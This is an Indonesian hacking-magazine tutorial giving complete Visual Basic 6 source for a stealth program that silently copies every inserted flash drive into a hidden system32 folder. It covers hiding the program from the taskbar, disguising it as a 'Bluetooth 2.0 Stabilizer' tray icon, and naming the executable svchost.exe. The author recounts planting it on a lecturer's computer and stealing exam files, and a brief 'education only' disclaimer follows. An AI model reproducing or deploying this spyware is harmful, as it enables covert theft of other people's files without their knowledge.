Membuat Program Pembajak Isi Flash Disk

Baiklah saudara, kita persiapkan peralatan operasi....
1. Air bening + Gula pasir dalam gelas, soalnya otak itu paling jago kalau suruh nyedot energi, jadi
untuk energi yang instan minum air gula lumayan sip.
2. Kipas angin buat pengusir nyamuk, maklum saya sedikit kurang fanatik ama obat nyamuk.
3. Buku Ajar Ilmu Penyakit Dalam terbitan FKUI untuk penyemangat sekaligus sebagai alas Mouse optik,
hehe.
4. Visual Basic 6.0
5. Susu kental manis
6. Mobile Phone, sapa tau ada fans yang nelpon, hehe..
X – C O D E | issue#13 - 26 -
XCode - Yogyafree © 2009
Baiklah kita mulai Operasinya, Buka visual basic buat satu form, dua rich text box, satu picture box, dan
satu timer kemudian ubah “show In Taskbar” menjadi false, ubah kedua nama rich text box menjadi
“RTF” dan “USB_Letter” , ubah nama picture box menjadi “TrayIcon” klik dan tuliskan code berikut “
==================================== code ==========================================

Option Explicit
Private Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String,
ByVal nSize As Long) As Long
Private Declare Function GetVolumeInformation Lib "Kernel32" Alias "GetVolumeInformationA" (ByVal
lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long,
lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal
lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Private Const MAX_FILENAME_LEN = 256
Private Declare Function GetDriveType Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Dim Folder_Name As String
Dim Drives(14) As String, x As Long
Dim USB_Drv As String
Dim C As Byte, I As Byte
Dim Copy_Progress As Boolean
Dim File As New FileSystemObject 'Syarat dari mbah dukun, hehe....
Dim DD As String, OLD_USB As Long, NEW_USB As Long
Private Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uId As Long
uFlags As Long
ucallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type
Private Const NIM_ADD = &H0
Private Const NIM_MODIFY = &H1
Private Const NIF_MESSAGE = &H1
Private Const NIF_ICON = &H2
Private Const NIF_TIP = &H4
Private Const WM_LBUTTONDOWN = &H201
Private Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As
NOTIFYICONDATA) As Boolean
Dim TrayI As NOTIFYICONDATA
Private Sub Form_Load()
On Error Resume Next
'Bikin selalu minimized supaya gak kelihatan
Me.WindowState = vbMinimized
Copy_Progress = False
'Gak kelihatan di task
App.TaskVisible = False
Call USB_Copy
'Masang Tray icon
TrayI.cbSize = Len(TrayI)
TrayI.hWnd = TrayIcon.hWnd
TrayI.uId = 1&
TrayI.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
TrayI.ucallbackMessage = WM_LBUTTONDOWN
TrayI.hIcon = Me.Icon
'Bikin Tool tips Text
TrayI.szTip = "Bluetooth 2.0 Stabilizer" & Chr$(0)
'Membuat Tray Icon
Shell_NotifyIcon NIM_ADD, TrayI
Timer1.Enabled = True
End Sub
Private Sub USB_Copy()
On Error Resume Next
Folder_Name = Date & "_" & Time
RTF.Text = Folder_Name
Call FindIt(RTF, "/", "-")
Call FindIt(RTF, " ", vbNullString)
Call FindIt(RTF, ":", vbNullString)
'Bikin folder di system32 windows supaya gak ketahuan
Folder_Name = GetSystemPath & RTF.Text & "\"
For I = 68 To 80
C = C + 1
Drives(C) = Chr(I) & ":"
Next I
For I = 1 To 13
If GetDriveType(Drives(I)) = 2 Then
USB_Drv = Drives(I) & "\*"
USB_Letter.Text = Drives(I)
X – C O D E | issue#13 - 27 -
XCode - Yogyafree © 2009
Call FindIt(USB_Letter, ":", vbNullString)
DD = USB_Letter.Text
'Deteksi serial USB supaya tidak terjadi double copy
NEW_USB = DriveSerial(DD)
If NEW_USB <> OLD_USB Or OLD_USB = 0 Then
Copy_Progress = True
'Ubah tray icon sebagai penanda bahwa proses pembajakan USB sedang berlangsung
TrayI.hIcon = TrayIcon.Picture
Shell_NotifyIcon NIM_MODIFY, TrayI
File.CreateFolder Folder_Name
File.CopyFolder USB_Drv, Folder_Name
DoEvents
USB_Drv = USB_Drv & "*.*"
File.CopyFile USB_Drv, Folder_Name
'Kerjain tugas dulu baru lanjut kebawahnya
DoEvents
MousePointer = vbDefault
'Kalo USB - nya udah pernah dicopy abaikan aja..
OLD_USB = NEW_USB
Copy_Progress = False
TrayI.hIcon = Me.Icon
Shell_NotifyIcon NIM_MODIFY, TrayI
End If
Else
USB_Drv = vbNullString
Copy_Progress = False
End If
Next I
End Sub
Private Function FindIt(Box As RichTextBox, Srch As String, RplcTxt As String, Optional Start As Long) As Variant
On Error Resume Next
Dim RetVal As Long
Dim Source As String
Source = Box.Text
If Start = 0 Then Start = 1
RetVal = InStr(Start, Source, Srch)
If RetVal <> 0 Then
With Box
.SelStart = RetVal - 1
.SelLength = Len(Srch)
.SelBold = True
.SelText = RplcTxt
End With
Start = RetVal + Len(Srch)
FindIt = 1 + FindIt(Box, Srch, RplcTxt, Start)
End If
End Function
'’Fungsi mendapatkan serial drive
Private Function DriveSerial(ByVal sDrv As String) As Long
On Error Resume Next
Dim RetVal As Long
Dim str As String * MAX_FILENAME_LEN
Dim str2 As String * MAX_FILENAME_LEN
Dim a As Long
Dim b As Long
Call GetVolumeInformation(sDrv & ":\", str, MAX_FILENAME_LEN, RetVal, a, b, str2, MAX_FILENAME_LEN)
DriveSerial = RetVal
End Function
‘Fungsi mencari System Path
Private Function GetSystemPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left$(Buffer, x) & "\"
End Function
====================================================================================
Klik di timer, sett intervalnya menjadi 1000 kemudian ketikkan code berikut :
==================================== code ==========================================
Private Sub Timer1_Timer()
If Copy_Progress = False Then
C = 0
x = 0
NEW_USB = 0
Call USB_Copy
End If
End Sub
X – C O D E | issue#13 - 28 -
XCode - Yogyafree © 2009
====================================================================================
Jangan lupa mengisi picture box dengan gambar yang akan jadi penanda saat program menjalankan
tugas mengcopy isi flash disk dan format gambarnya harus icon.Ini contoh icon yang saya pakai dalam
program.

Setelah selesai mengcompilasi            
programnya jangan lupa untuk
memberi nama executablenya
dengan nama unik semisal, link.exe,
svchost.exe, atau nama-nama lain
yang sering ada di task manager
kemudian sebagai finishing touch
ubah propertiesnya, saudara tentu
lebijh ahli dalam hal ini. Program ini
hanya bisa dimatikan melalui task
manager. Jangan lupa untuk
menyertakan file “RICHTX32.OCX”
dan “COMDLG32.OCX” (kedua file
terdapat di system32 di directory windows) supaya program bisa berjalan dengan normal, atau bisa juga
dipack menjadi satu dengan menggunakan “molebox”, programnya cari sendiri ya !

Last Scene
Setelah operasi selesai, dengan senyum-senyum aku tiduran dikontrakan, keesokan darinya Aku datang
pagi-pagi sekali untuk memasang jebakan ini. Dengan semangat 2009 aku mengcopy program ini di
directory windows, dengan dua kali klik kupastikan tray icon muncul dan akupun duduk dengan tenang
dibelakang sambil membayangkan semangkuk soto plus air es, maklum gara-gara datang pagi jadi gak
sempat sarapan apalagi mengingat predikatku sebagai “ Mahasiwa”, hehe.......
Sepulang kuliah kucari hasil pembajakanku di system32 di directory windows, dan akupun tersenyum
puas, seluruh isi flash disk dosen masuk didalamnya, dan rupanya keberuntunganku tidak sampai disitu,
didalamnya ada file-file soal tahun lalu dalam format ms.word. Wah lumayan nih.
Kalimat “Tiap orang punya kelemahan” ternyata benar, beliau memang ahli dalam mendiagnosa dan
memberikan terapi terhadap penyakit, tetapi dalam urusan mengakali tentulah kami atau kita sebagai
“Mahasiwa” yang lebih jago, hehe. Maapin Saya ya Dok !! Saya janji akan menjadi dokter yang baik
kelak.
Akhir kata, jangan pernah menyimpan data confidental di flash disk yang sering dipakai untuk
mengcopy data dari komputer lain.
Para master programmer yang membaca artikel ini pasti senyum-senyum, maklum Bang saya cuma
seorang script kiddies.
========================================= End
==============================================
PERINGATAN , Risiko ditanggung Penumpang !
Penulis tidak bertanggung jawab terhadap penyalahgunaan program maupun source code dalam
tutorial ini, gunakan hanya untuk tujuan edukasi

sumber :X Code Magz 13